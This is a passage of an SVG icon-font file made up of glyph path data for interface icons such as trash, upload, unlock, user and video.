q-12.5013 -12.5013 -30.1653 -12.5013h-426.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-597.333q0 -52.992 37.504 -90.496
q37.504 -37.504 90.496 -37.504h426.667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v597.333q-0.00256348 17.6613 -12.504 30.1607t-30.1627 12.4995q-17.6613 0 -30.1626 -12.4995t-12.5043 -30.1607zM384 640v85.3333q0 17.6639 12.5013 30.1653
q12.5013 12.5013 30.1653 12.5013h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-85.3333q0.00274658 -17.6613 12.504 -30.1607q12.5013 -12.4995 30.1627 -12.4995q17.6613 0 30.1627 12.4994q12.5013 12.4995 12.504 30.1608v85.3333q0 52.9921 -37.504 90.496
t-90.496 37.504h-170.667q-52.992 0 -90.496 -37.504t-37.504 -90.496v-85.3333v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653zM384 426.667v-256q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994
t30.1626 12.4994q12.5014 12.4994 12.5041 30.1607v256q-0.00265503 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1627 -12.4994t-12.5039 -30.1607zM554.667 426.667v-256q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994
t30.1626 12.4994t12.504 30.1607v256q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607z" />
    <glyph glyph-name="trash" unicode="&#xe8db;" 
d="M128 597.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM768 640v-597.333q0 -17.664 -12.5013 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013h-426.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-597.333q0 -52.992 37.504 -90.496
q37.504 -37.504 90.496 -37.504h426.667q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v597.333q-0.00256348 17.6613 -12.504 30.1607t-30.1627 12.4995q-17.6613 0 -30.1626 -12.4995t-12.5043 -30.1607zM384 640v85.3333q0 17.6639 12.5013 30.1653
q12.5013 12.5013 30.1653 12.5013h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-85.3333q0.00274658 -17.6613 12.504 -30.1607q12.5013 -12.4995 30.1627 -12.4995q17.6613 0 30.1627 12.4994q12.5013 12.4995 12.504 30.1608v85.3333q0 52.9921 -37.504 90.496
t-90.496 37.504h-170.667q-52.992 0 -90.496 -37.504t-37.504 -90.496v-85.3333v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653z" />
    <glyph glyph-name="trending-up" unicode="&#xe8dc;" 
d="M392.832 478.165q-12.496 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-320 -320q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.641 11.977l289.835 289.835l183.168 -183.168
q12.4959 -12.4922 30.1653 -12.4922q17.6693 0 30.1653 12.4922l405.333 405.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.1089 0 -30.6897 -13.0256l-375.168 -375.168zM938.667 384q0.00274658 -17.6613 12.5041 -30.1607
t30.1626 -12.4994t30.1626 12.4994q12.5013 12.4995 12.504 30.1607v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013h213.333z" />
    <glyph glyph-name="trending-down" unicode="&#xe8dd;" 
d="M72.832 670.165q-12.4008 11.9772 -29.6412 11.9772q-17.664 0 -30.1654 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2405 11.9772 -29.6412l320 -320q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l183.168 183.168l375.168 -375.168
q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-405.333 405.333q-12.496 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-183.168 -183.168zM725.333 170.667q-17.6639 0 -30.1653 -12.5013
q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013h256q17.664 0 30.1653 12.5013t12.5013 30.1653v256q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6612 0 -30.1625 -12.4994t-12.5041 -30.1607v-213.333z" />
    <glyph glyph-name="triangle" unicode="&#xe8de;" 
d="M402.517 753.237q15.4867 25.547 47.5901 43.6274t61.9779 18.0804q29.8746 0 61.978 -18.0804t47.59 -43.6274l361.813 -603.904q17.1508 -29.7037 17.1508 -64.0034q0 -52.6043 -37.2286 -90.1073t-89.8315 -37.8893h-723.413q-52.4119 0.57373 -89.5054 38.0755
q-37.0935 37.5018 -37.0935 89.9168q0 34.6727 17.5003 64.605zM114.603 106.667q-5.72215 -9.90473 -5.72215 -21.3436q0 -17.2815 12.2277 -29.7799q12.2277 -12.4983 29.5051 -12.8766h722.475q17.471 0.190895 29.8358 12.6915q12.3647 12.5006 12.3647 29.9726
q0 11.0669 -5.37915 20.7385l-361.344 603.093q-5.15479 8.52069 -15.851 14.551t-20.6548 6.03027q-9.93143 0 -20.6125 -6.00531q-10.6811 -6.00531 -15.8416 -14.4906l-360.96 -602.581z" />
    <glyph glyph-name="type" unicode="&#xe8df;" 
d="M213.333 682.667h597.333v-85.3333q0.00274658 -17.6613 12.5041 -30.1608q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4995t12.504 30.1607v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-128
v-0.00653076q0 -17.6639 12.5013 -30.1653t30.1653 -12.5014t30.1653 12.5014q12.5013 12.5013 12.5013 30.1653v0.00653076zM384 0h256q17.6613 0.00270382 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626q0 17.6613 -12.4995 30.1626
q-12.4995 12.5013 -30.1607 12.5041h-256q-17.6613 -0.00270081 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504v-0.000198074zM469.333 725.333v-682.667q0 -17.664 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v682.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="twitter" unicode="&#xe8e0;" 
d="M956.844 759.765q24.1596 17.0542 48.592 0.383972q24.4324 -16.6702 17.456 -45.44q-9.19702 -37.8303 -34.1371 -85.0854q-24.9402 -47.2551 -50.9828 -76.1946q0.914001 -9.80908 0.981323 -20.864q0 -123.669 -38.3765 -231.228t-103.883 -184.417
q-65.507 -76.8576 -155.686 -127.645t-190.511 -67.2469q-100.332 -16.4596 -211.85 3.53374q-111.518 19.9934 -216.429 78.3629q-18.7903 10.4368 -21.7718 30.2597q-2.9815 19.8229 9.86542 35.2104q12.8469 15.3875 34.3491 14.5299
q8.99974 -0.357666 18.0069 -0.357666q41.2149 0 96.8703 12.2186q55.6555 12.2186 93.0801 29.4831q-138.091 85.2104 -183.808 225.792q-42.6547 131.245 -0.597336 286.208q10.1872 37.5797 21.0773 62.208q4.66515 10.4811 16.0862 17.899
q11.4211 7.41791 22.8936 7.41791q22.1758 0 34.9188 -18.1489q46.3502 -66.1114 136.135 -117.192q89.7846 -51.0804 170.297 -57.1442l-0.00582886 1.65198q0 66.6757 44.0689 130.736q44.069 64.0603 106.337 87.9001q40.2839 15.3991 83.4106 15.3991
q36.9817 0 82.6498 -17.4633t73.2142 -42.1385q52.2405 19.2434 97.7067 51.3707zM859.735 618.539q-6.0097 -1.80695 -12.2852 -1.80695q-19.4583 0 -32.2161 14.6923q-18.365 21.1567 -51.1902 36.1299q-32.8251 14.9732 -60.8409 14.9732q-27.3588 0 -52.9182 -9.75916
q-39.5581 -15.1824 -67.5546 -55.9151t-27.9965 -83.1042q0 -1.22925 0.0203857 -2.46326v-42.7093l6.10352e-05 -0.0570984q0 -17.2105 -12.1763 -29.7076t-29.381 -12.9446q-103.891 -2.70886 -199.794 36.3044q-95.903 39.0132 -168.078 112.602
q-27.5169 -118.915 4.43733 -217.259q45.1055 -138.848 208.981 -211.797q22.9442 -10.2081 25.184 -35.232t-18.528 -39.136q-29.649 -20.1573 -75.0288 -41.3971q-45.3798 -21.2398 -79.8512 -31.0936q69.4092 -18.2832 138.685 -18.9077
q69.2755 -0.624463 132.175 16.2698q62.8998 16.8943 119.641 48.1051q56.7413 31.2108 102.644 78.5174q45.9023 47.3066 79.517 105.46q33.6147 58.1529 51.9271 130.979q18.3125 72.8259 18.3125 153.156q-0.0430908 13.9041 -2.64532 27.5627
q-0.760559 3.97827 -0.760559 8.02814q0 17.8618 12.7072 30.4146q14.0721 13.8828 26.368 29.952q-13.9974 -5.17987 -29.3547 -9.81335v-0.0435791z" />
    <glyph glyph-name="upload" unicode="&#xe8e1;" 
d="M554.667 665.003v-409.003q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v409.003l-140.501 -140.501q-12.4008 -11.9771 -29.641 -11.9771q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.2403 11.9771 29.6411
l213.333 213.333q12.4961 12.4922 30.1653 12.4922q17.6694 0 30.1653 -12.4922l213.333 -213.333q13.0256 -12.5806 13.0256 -30.6896q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013q-18.1091 0 -30.6896 13.0256zM853.333 256
q0 17.664 12.5013 30.1653t30.1653 12.5013q17.6639 0 30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-597.333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v170.667q0 17.664 12.5013 30.1653
t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h597.333q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653z" />
    <glyph glyph-name="umbrella" unicode="&#xe8e2;" 
d="M554.667 341.333v-256q0 -35.328 25.0026 -60.3307q25.0027 -25.0027 60.3307 -25.0027q35.3279 0 60.3307 25.0027q25.0027 25.0027 25.0027 60.3307q0 17.664 12.5013 30.1653t30.1653 12.5013q17.6641 0 30.1653 -12.5013t12.5013 -30.1654
q0 -70.656 -50.0053 -120.661q-50.0053 -50.005 -120.661 -50.0053q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661v256h-426.667q-17.6556 0.00845337 -30.1509 12.5097q-12.4954 12.5013 -12.4954 30.1569q0 2.03125 0.19297 4.05334
q12.1054 126.265 84.9234 233.406q72.8181 107.14 186.418 169.401q113.6 62.2607 240.445 62.2607q126.844 0 240.445 -62.2608q113.6 -62.2608 186.418 -169.401q72.8181 -107.14 84.9234 -233.406q0.192993 -2.02283 0.192993 -4.05334q0 -17.6555 -12.4954 -30.1569
q-12.4954 -12.5013 -30.1509 -12.5098zM512 768q-153.122 0 -271.097 -96.5606q-117.975 -96.5606 -148.743 -244.773h839.68q-30.7676 148.212 -148.743 244.773t-271.097 96.5606z" />
    <glyph glyph-name="upload-cloud" unicode="&#xe8e3;" 
d="M652.518 183.168q12.4008 -11.977 29.641 -11.977q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2403 -11.977 29.641l-170.667 170.667q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667
q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501zM469.35 384v-384q0.00274658 -17.6613 12.5041 -30.1607t30.1626 -12.4994q17.6612 0 30.1626 12.4994q12.5013 12.4994 12.504 30.1607v384
q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994t-30.1626 -12.4994q-12.5013 -12.4994 -12.504 -30.1607zM427.579 808.107q-21.7185 2.48071 -43.5779 2.48071q-104.256 0 -192.72 -51.408q-88.4642 -51.4079 -139.872 -139.872
q-51.408 -88.4642 -51.4079 -192.72q0 -60.1843 28.2075 -134.694q28.2075 -74.5097 68.0638 -119.605q12.7437 -14.498 32.0464 -14.498q17.664 0 30.1653 12.5013t12.5013 30.1653q0 16.2034 -10.7557 28.322q-31.0037 35.0756 -52.9459 93.0311
q-21.9422 57.9554 -21.9422 104.769q0 123.648 87.5094 211.157q87.5094 87.509 211.157 87.5093q95.7474 0 180.471 -65.6063q84.7239 -65.6063 108.689 -158.306q3.41974 -13.2446 15.5211 -22.6206t25.7803 -9.37939h53.76q70.6093 -0.0465698 120.582 -50.0519
q49.9724 -50.0053 49.9724 -120.615q0 -41.9542 -26.0698 -85.8589q-26.0697 -43.9047 -62.9055 -63.9865q-9.40411 -4.97488 -16.0597 -16.0252q-6.65558 -11.0504 -6.65558 -21.6893q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q11.1537 0 20.8806 5.45853
q55.2537 30.1227 94.3583 95.9797q39.1046 65.857 39.1046 128.788q0 105.914 -74.9584 180.922q-74.9584 75.008 -180.872 75.0779h-22.2293q-33.1372 93.6583 -126.447 167.916q-93.3101 74.2579 -192.018 85.5249zM652.518 183.168q12.4008 -11.977 29.641 -11.977
q17.6639 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2403 -11.977 29.641l-170.667 170.667q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501z" />
    <glyph glyph-name="unlock" unicode="&#xe8e4;" 
d="M256 469.333v127.872q-0.095993 98.5662 66.5791 171.742q66.6751 73.1758 165.613 83.0633q98.9743 9.9198 179.076 -48.5594q80.102 -58.4791 99.8784 -155.089q0.833496 -4.15497 0.833496 -8.3924q0 -14.5361 -10.0953 -26.8036q-10.0953 -12.2676 -24.3596 -15.0653
q-4.27679 -0.877441 -8.64319 -0.877441q-14.4505 0 -26.7822 10.0082q-12.3316 10.0081 -15.3053 24.1493q-13.1847 64.4194 -66.5728 103.404t-119.369 32.3611q-65.984 -6.59198 -110.421 -55.3654q-44.4373 -48.7734 -44.3734 -114.533v-127.915h468.821
q52.7806 -0.0702515 90.2221 -37.4742q37.4415 -37.404 37.5646 -90.1845v-299.349q-0.0176392 -52.8507 -37.4341 -90.2547t-90.2672 -37.404l-0.0853271 2.28882e-05h-597.76q-52.7805 0.0702591 -90.222 37.4743t-37.5646 90.1844v299.349
q0.0176392 52.8507 37.4341 90.2547q37.4165 37.404 90.2672 37.404l0.0853271 -3.05176e-05zM170.667 341.675v-299.349q0 -17.386 12.4957 -29.8556t29.9577 -12.4697h597.76q17.5975 0 30.0254 12.3934t12.4279 29.9319v299.349q-0.122192 17.4532 -12.561 29.8546
q-12.4388 12.4013 -29.8923 12.4708h-597.76l-0.0853577 9.15527e-05q-17.5227 0 -29.9366 -12.4014q-12.4138 -12.4013 -12.4315 -29.9241z" />
    <glyph glyph-name="user-check" unicode="&#xe8e5;" 
d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994
q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994
q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827
q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM755.499 456.832
q-12.4008 11.977 -29.6411 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l85.3333 -85.3333q12.4959 -12.4922 30.1653 -12.4922q17.6693 0 30.1653 12.4922l170.667 170.667q13.0256 12.5806 13.0256 30.6896
q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1089 0 -30.6897 -13.0256l-140.501 -140.501z" />
    <glyph glyph-name="user-minus" unicode="&#xe8e6;" 
d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994
q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994
q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827
q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM981.333 469.333h-256
q-17.6612 -0.00265503 -30.1607 -12.504q-12.4995 -12.5014 -12.4995 -30.1627t12.4995 -30.1627t30.1607 -12.504h256q17.6613 0.00271606 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626q-12.4994 12.5014 -30.1607 12.5041z" />
    <glyph glyph-name="user-plus" unicode="&#xe8e7;" 
d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994
q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994
q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827
q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM810.667 554.667v-256
q0.00268555 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1627 12.4994q12.5013 12.4995 12.504 30.1607v256q-0.00274658 17.6613 -12.5041 30.1607q-12.5013 12.4995 -30.1626 12.4995t-30.1625 -12.4995
q-12.5013 -12.4995 -12.5043 -30.1607zM981.333 469.333h-256q-17.6612 -0.00265503 -30.1607 -12.504q-12.4995 -12.5014 -12.4995 -30.1627t12.4995 -30.1627t30.1607 -12.504h256q17.6613 0.00271606 30.1607 12.5041q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626
q-12.4994 12.5014 -30.1607 12.5041z" />
    <glyph glyph-name="user-x" unicode="&#xe8e8;" 
d="M725.333 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5066h-298.667q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994
q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h298.667q52.9919 0 90.496 -37.504t37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5014 -12.4994 30.1627 -12.4994t30.1627 12.4994
q12.5013 12.4994 12.504 30.1607v2.00117e-05zM362.667 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5066 150.827q62.5067 62.5067 150.827 62.5067q88.32 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827
q-62.5067 -62.5067 -150.827 -62.5067zM362.667 469.333q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM737.835 524.501l213.333 -213.333
q12.4007 -11.977 29.6411 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-213.333 213.333q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2404 11.9769 -29.6411zM951.168 584.832
l-213.333 -213.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6897 -13.0256z" />
    <glyph glyph-name="user" unicode="&#xe8e9;" 
d="M896 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5067h-341.333q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994
q12.5013 12.4994 12.504 30.1607v85.3333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h341.333q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-85.3333q0.00268555 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994
t12.504 30.1607zM512 384q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067q88.3203 0 150.827 -62.5067t62.5067 -150.827t-62.5067 -150.827q-62.5066 -62.5067 -150.827 -62.5067zM512 469.333
q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496q0 52.9919 -37.504 90.496t-90.496 37.504q-52.992 0 -90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504z" />
    <glyph glyph-name="users" unicode="&#xe8ea;" 
d="M768 0v85.3333q0 88.32 -62.5067 150.827q-62.5067 62.5067 -150.827 62.5067h-341.333q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-85.3333q0.00270382 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994q17.6613 0 30.1626 12.4994
t12.504 30.1607v85.3333q0 52.992 37.504 90.496t90.496 37.504h341.333q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-85.3333q0.00268555 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607zM384 384
q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.3201 62.5067 150.827q62.5067 62.5067 150.827 62.5067t150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827t-62.5067 -150.827q-62.5067 -62.5067 -150.827 -62.5067zM384 469.333
q52.992 0 90.496 37.504t37.504 90.496q0 52.9919 -37.504 90.496q-37.504 37.504 -90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -52.992 37.504 -90.496t90.496 -37.504zM1024 0v85.3333q-0.0440674 68.3667 -46.9241 128.848q-46.8801 60.4815 -113.076 77.5732
q-5.67346 1.59811 -11.568 1.59811q-17.6639 0 -30.1653 -12.5013q-12.5013 -12.5014 -12.5013 -30.1653q0 -13.9926 9.64008 -26.162t23.2612 -15.3721q39.7202 -10.2557 67.8482 -46.5471t28.1518 -77.3142v-85.2907q0.00268555 -17.6613 12.504 -30.1607
q12.5013 -12.4994 30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607v9.13971e-05zM672.085 721.109q39.8307 -10.2125 68.02 -46.5413q28.1893 -36.3289 28.1893 -77.448t-28.1893 -77.4479q-28.1893 -36.3289 -68.02 -46.5414
q-13.2874 -3.40067 -22.6913 -15.5145t-9.40393 -25.8295q0 -17.6681 12.5043 -30.1723q12.5043 -12.5043 30.1724 -12.5043q5.37457 0 10.5813 1.33261q66.4304 16.9946 113.445 77.5511t47.0148 129.126q0 68.5697 -47.0148 129.126q-47.0148 60.5566 -113.445 77.5511
q-5.20667 1.33258 -10.5814 1.33258q-17.6682 0 -30.1724 -12.5042t-12.5042 -30.1724q0 -13.7157 9.40393 -25.8295q9.40393 -12.1138 22.6913 -15.514z" />
    <glyph glyph-name="video-off" unicode="&#xe8eb;" 
d="M640.197 213.158v-42.6448q0 -17.6549 -12.4949 -30.1499t-30.1498 -12.4949h-469.093q-17.6549 0 -30.1499 12.4949q-12.4949 12.4949 -12.4949 30.1499v426.448q0 17.6549 12.4949 30.1498t30.1499 12.4949h85.2896q17.6549 0 30.1499 12.4949
q12.4949 12.4949 12.4949 30.1498t-12.4949 30.1498q-12.4949 12.495 -30.1499 12.495h-85.2896q-52.9649 0 -90.4496 -37.4847q-37.4848 -37.4848 -37.4848 -90.4496v-426.448q0 -52.9648 37.4848 -90.4496q37.4848 -37.4848 90.4496 -37.4848h469.093v0
q52.9649 0 90.4496 37.4848q37.4847 37.4848 37.4847 90.4496v42.6448q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949t-30.1499 -12.4949q-12.4949 -12.4949 -12.4951 -30.1497zM956.366 631.504l-255.869 -185.078l55.1397 -4.39243l-42.6448 42.6448
l12.4949 -30.1499v142.434q0 52.9649 -37.4847 90.4496t-90.4496 37.4847h-142.434q-17.6549 0 -30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1499t12.4949 -30.1499t30.1499 -12.4949h142.434v0q17.6549 0 30.1498 -12.4949t12.4949 -30.1498v-142.434
q0.00366211 -17.6625 12.4949 -30.1499l42.6448 -42.6448q12.4893 -12.4834 30.1475 -12.4834q13.8057 0 24.9922 8.09097l188.234 136.122v-342.949q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949q17.6549 0 30.1498 12.4949t12.4949 30.1499v426.448
q-0.00543213 17.6494 -12.5004 30.1404q-12.4949 12.4911 -30.1444 12.4911q-13.8042 0 -24.9891 -8.0899zM13.0202 822.68l938.185 -938.185q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185
q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499q0 -18.0996 13.0188 -30.6738z" />
    <glyph glyph-name="video" unicode="&#xe8ec;" 
d="M956.544 632.064q11.123 7.94012 24.7893 7.94012q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-0.00415039v-426.667v-0.00411987q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-13.6663 0 -24.7893 7.94012l-298.667 213.333q-17.8831 12.7613 -17.8831 34.7307
q0 21.9694 17.8831 34.7307zM756.054 384l182.613 -130.432v260.864zM85.3338 597.077v-426.155l-0.00137329 -0.342102q0 -17.5236 12.4017 -29.9997q12.4017 -12.4761 29.925 -12.5809h470.016q17.523 0.139877 29.9246 12.6408q12.4016 12.5009 12.4016 30.0245
l-0.000793457 0.257355v426.155l0.00140381 0.342102q0 17.5236 -12.4017 29.9996q-12.4017 12.4761 -29.925 12.5809h-470.016q-17.523 -0.139832 -29.9245 -12.6407q-12.4016 -12.501 -12.4016 -30.0245zM0.000430123 597.077l-0.000256913 0.25647
